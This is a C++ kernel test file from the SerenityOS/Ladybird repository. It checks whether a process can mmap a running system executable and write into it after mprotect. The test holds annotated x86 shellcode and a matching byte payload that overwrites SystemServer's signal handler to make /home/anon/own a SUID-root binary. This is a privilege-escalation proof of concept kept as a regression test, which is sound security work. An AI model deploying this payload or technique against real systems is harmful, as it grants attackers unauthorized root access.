ladybird/Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp
Andrew Kaster 1cd3826ad6 Userland+Tests: Don't use MAP_FILE when mmap-ing
MAP_FILE is not in POSIX, and is simply in most LibCs as a "default"
mode. Our own LibC defines it as 0, meaning "no flags". It is also not
defined in some OS's, such as Haiku. Let's be more portable and not use
the unnecessary flag.
2023-09-01 19:50:35 +02:00

76 lines
1.7 KiB
C++

/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/bin/SystemServer", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_SHARED, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
perror("mprotect");
return 1;
}
/*
*
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
* It does two things:
*
* chown ("/home/anon/own", 0, 0);
* chmod ("/home/anon/own", 04755);
*
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
*
*/
#if 0
[bits 32]
[org 0x0804b111]
jmp $+17
path:
db "/home/anon/own", 0
mov eax, 79
mov edx, path
mov ecx, 0
mov ebx, 0
int 0x82
mov eax, 67
mov edx, path
mov ecx, 15
mov ebx, 2541
int 0x82
ret
#endif
const u8 payload[] = {
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
};
memcpy(&ptr[0x3111], payload, sizeof(payload));
printf("ok\n");
return 0;
}